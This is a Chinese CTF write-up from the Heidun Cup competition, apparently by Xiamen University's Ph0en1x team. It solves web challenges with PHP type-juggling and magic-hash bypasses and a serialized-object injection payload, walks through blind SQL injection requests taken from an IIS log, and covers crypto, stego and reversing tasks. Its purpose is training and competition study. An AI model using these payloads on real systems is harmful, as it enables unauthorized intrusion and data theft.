【黑盾杯】賽題經驗分享:廈門大學Ph0en1x戰隊題解
資訊洩露+程式碼審計
svn洩露原始碼: ofollow,noindex" target="_blank">http://192.168.200.200/web/codeaudit/.svn/text-base/index.php.svn-base.txt
<?php error_reporting(0); $user = $_COOKIE['user']; $code = $_GET['code']?(int)$_GET['code']:''; if($user == 'admin' && !empty($code)) { $hex = (int)$code; if(($hex ^ 6789) === 0xCDEF) { require("flag.php"); echo $flag; exit(); } echo "ȱ��Ӧ�еIJ���,��û��Ȩ�鿴������"; ?>
GET 請求code=55146 , 請求頭新增Cookie: user=admin; 。
flag{a737c5c5b759c3705c8100accf65b5e4}
最好的語言
<?php show_source(__FILE__); $a=0; $b=0; $c=0; $d=0; if (isset($_GET['x1'])) //$x1=0;=>$a=1; { $x1 = $_GET['x1']; $x1=="1"?die("ha?"):NULL; switch ($x1) { case 0: case 1: $a=1; break; } } $x2=(array)json_decode(@$_GET['x2']); //$x2=json_encode(['x21'=>'2018hello','x22'=>[[],0]]) ; //string(32) "{"x21":"2018hello","x22":[[],0]}" if(is_array($x2)){ is_numeric(@$x2["x21"])?die("ha?"):NULL; if(@$x2["x21"]){ ($x2["x21"]>2017)?$b=1:NULL; } if(is_array(@$x2["x22"])){ if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); $p = array_search("XIPU", $x2["x22"]); //array_search — 在陣列中搜索給定的值,如果成功則返回相應的鍵名 //mixed array_search( mixed $needle, array $haystack[, bool $strict = false] ) //第三個引數決定在搜尋時是否比較型別,預設不比較,也是這裡能夠繞過的原因。 //var_dump(array_search('XIPU', array("0","1",0)));//int(2) //0==‘XIPU’為真,搜尋到0值的下標為2 $p===false?die("ha?"):NULL; foreach($x2["x22"] as $key=>$val){ $val==="XIPU"?die("ha?"):NULL; } $c=1; } } $x3 = $_GET['x3']; if ($x3 != '15562') { if (strstr($x3, 'XIPU')) { if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { //兩個符合正則/0e\d+/的字串弱相等。 // 爆破見下方python程式碼 $d=1; } } } if($a && $b && $c && $d){ include "flag.php"; echo $flag; } ?>
def brute(): for a in range(0x20, 0x7f): for b in range(0x20, 0x7f): for c in range(0x20, 0x7f): x = chr(a) + chr(b) + chr(c)+s mm=md5(x.encode('UTF-8')).hexdigest() flag=1 for i in mm[10:24]: if i not in '0123456789': flag=0 break if flag and mm[8:10]=='0e': print(x) brute() # kN[XIPU # v=|XIPU # y'wXIPU # }MOXIPU # ~VhXIPU ## <a href="http://192.168.200.200/web/bestlanguage/?x1=0&x2=%7B%22x21%22:%222018hello%22,%22x22%22:">http://192.168.200.200/web/bestlanguage/?x1=0&x2={%22x21%22:%222018hello%22,%22x22%22:</a>[[],0]}&x3=~VhXIPU ## flag{510ea2879fa29d0d618b1f55350965c3}
the user is admin
和 bugku 平臺某個題目原理相似,因此沒有保留原始碼。可以參考 該題 ,不贅述。
/web/theuserisadmin/?file=class.php&user=<a href="php://input">php://input</a>&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";} post:the user is admin //flag{078d8dd8023d5716a11780adf344dfd2}
ccgs
binwalk -e sgcc.png cat secret.txt | base64 -d | base64 -d > final.png
注入日誌分析
給了一個日誌檔案,file data.log得到是一個文字檔案,直接開啟,前幾行是
#Software: Microsoft Internet Information Services 6.0 #Version: 1.0 #Date: 2015-10-21 09:16:34
猜測是IIS伺服器記錄的流量日誌, 分析前幾行
2015-10-21 09:16:34 W3SVC1 192.168.1.135 GET /index.htm - 80 - 192.168.1.101 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.10;+rv:41.0)+Gecko/20100101+Firefox/41.0 200 0 0 2015-10-21 09:16:34 W3SVC1 192.168.1.135 GET /favicon.ico - 80 - 192.168.1.101 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.10;+rv:41.0)+Gecko/20100101+Firefox/41.0 404 0 2 2015-10-21 09:16:36 W3SVC1 192.168.1.135 GET /show.asp id=2 80 - 192.168.1.101 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.10;+rv:41.0)+Gecko/20100101+Firefox/41.0 200 0 0 2015-10-21 09:25:01 W3SVC1 192.168.1.135 GET /show.asp id=2%27|17|80040e14|字串_''_之前有未閉合的引號。 80 - 192.168.1.101 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.10;+rv:41.0)+Gecko/20100101+Firefox/41.0 500 0 0
可以看到就是一條條的HTTP請求,並且後面跟著狀態碼。繼續瀏覽,看到id欄位出現一些SQL的關鍵字,那麼可以想到這記錄的就是sqlmap(或許)的注入流量分析。思路就是找到關鍵的注入請求,檔案很大,我們可以搜尋flag試試,找到關鍵的請求如下
... 2015-10-21 09:32:35 W3SVC1 192.168.1.135 GET /show.asp id=2%20AND%20UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28LTRIM%28STR%28COUNT%28DISTINCT%28theflag%29%29%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20tourdata.dbo.news%29%2C1%2C1%29%29%3E51|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。 80 - 192.168.1.101 Mozilla/5.0+(Windows;+U;+Windows+NT+6.0;+en-US;+rv:1.9.1b4)+Gecko/20090423+Firefox/3.5b4+GTB5+(.NET+CLR+3.5.30729) 500 0 0 2015-10-21 09:32:35 W3SVC1 192.168.1.135 GET /show.asp id=2%20AND%20UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28LTRIM%28STR%28COUNT%28DISTINCT%28theflag%29%29%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20tourdata.dbo.news%29%2C1%2C1%29%29%3E48 80 - 192.168.1.101 Mozilla/5.0+(Windows;+U;+Windows+NT+6.0;+en-US;+rv:1.9.1b4)+Gecko/20090423+Firefox/3.5b4+GTB5+(.NET+CLR+3.5.30729) 200 0 0 ...
可以利用文字編輯器如sublime text 3的ctrl+H的替換功能, 將關鍵流量進行精簡併urldecode利於分析(擷取兩個代表性請求)
id=2 AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(theflag)))) AS NVARCHAR(4000)),CHAR(32)) FROM tourdata.dbo.news),1,1))>51|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。 500 0 0 id=2 AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(theflag)))) AS NVARCHAR(4000)),CHAR(32)) FROM tourdata.dbo.news),1,1))>48 80 200 0 0
可以看到這裡是二分法盲注的HTTP請求,現在思路很明確了, 從SUBSTRING(.*, 1, 1)開始找,並且只要看最後幾條的注入請求就可以判斷出字元是多少。 比如SUBSTRING(.*, 1, 1) > 48的狀態碼是200,SUBSTRING(.*, 1, 1) > 49的狀態碼是500,那其實就可以確定字元的ascii碼是49。就這樣就能得到theflag的值。
brightstar
snkeegt fhstetr Iedsabs tnaktrt otessha iiriwis tethees key: howarey Columnar Transposition Cipher
h | o | w | a | r | e | y |
---|---|---|---|---|---|---|
3 | 4 | 6 | 1 | 5 | 2 | 7 |
I | t | i | s | o | f | t |
e | n | i | n | t | h | e |
d | a | r | k | e | s | t |
s | k | i | e | s | t | h |
a | t | w | e | s | e | e |
b | r | i | g | h | t | e |
s | t | s | t | a | r | s |
或者
c='snkeegt fhstetr Iedsabs tnaktrt otessha iiriwis tethees'.split(' ') k='howarey' kk=sorted(k) print(''.join(c[kk.index(j)][i] for i in range(len(k)) for j in k)) # Itisofteninthedarkestskiesthatweseebrighteststars
這是啥呀
base32編碼
echo MZWGCZ33MM4GENJVHBRDSNJUGAYTSOBVGZTDAYRQGIZTINLEMMZTSNJVHBRX2=== | base32 -d #flag{c8b558b954019856f0b02345dc39558c}
Windows逆向
s='sKfxEeft}f{gyrYgthtyhifsjei53UUrrr_t2cdsef66246087138\0087138' flag='' idx=[1,4,14,10,5,36,23,42,13,19,28,13,27,39,48,41,42] for i in idx: flag+=s[i] print(flag) # KEY{e2s6ry3r5s8f6
得到部分flag,加上1024}得到完整flag:KEY{e2s6ry3r5s8f61024}
reverseme
python -c "open('file.png','wb').write(open('reverseme','rb').read()[::-1])" 或 <reverseme xxd -p -c1 | tac | xxd -p -r >file.png
convert -flop file.png mirror_file.png
下午
CMSeeK 掃出配置檔案 http://192.168.200.202//configuration.php.txt
底部有flag: flag{0b58f603ff55c0c190502b44b4ffbf2c}
此外一些沒進一步利用上的資訊和部分題目的附件放在 GiIthub ,有興趣可移步檢視。
注:解題報告由獲得“黑盾杯”二等獎的廈門大學Ph0en1x戰隊(指導老師:陳啟安)提供
【黑盾杯相關文章】
“黑盾杯”福州大學SIOR戰隊榮獲特等獎 重點題解題思路簡析
https://www.anquanke.com/post/id/160625
挖掘網安新銳!“黑盾杯”大賽誰終將C位出道?誰將是明日之子?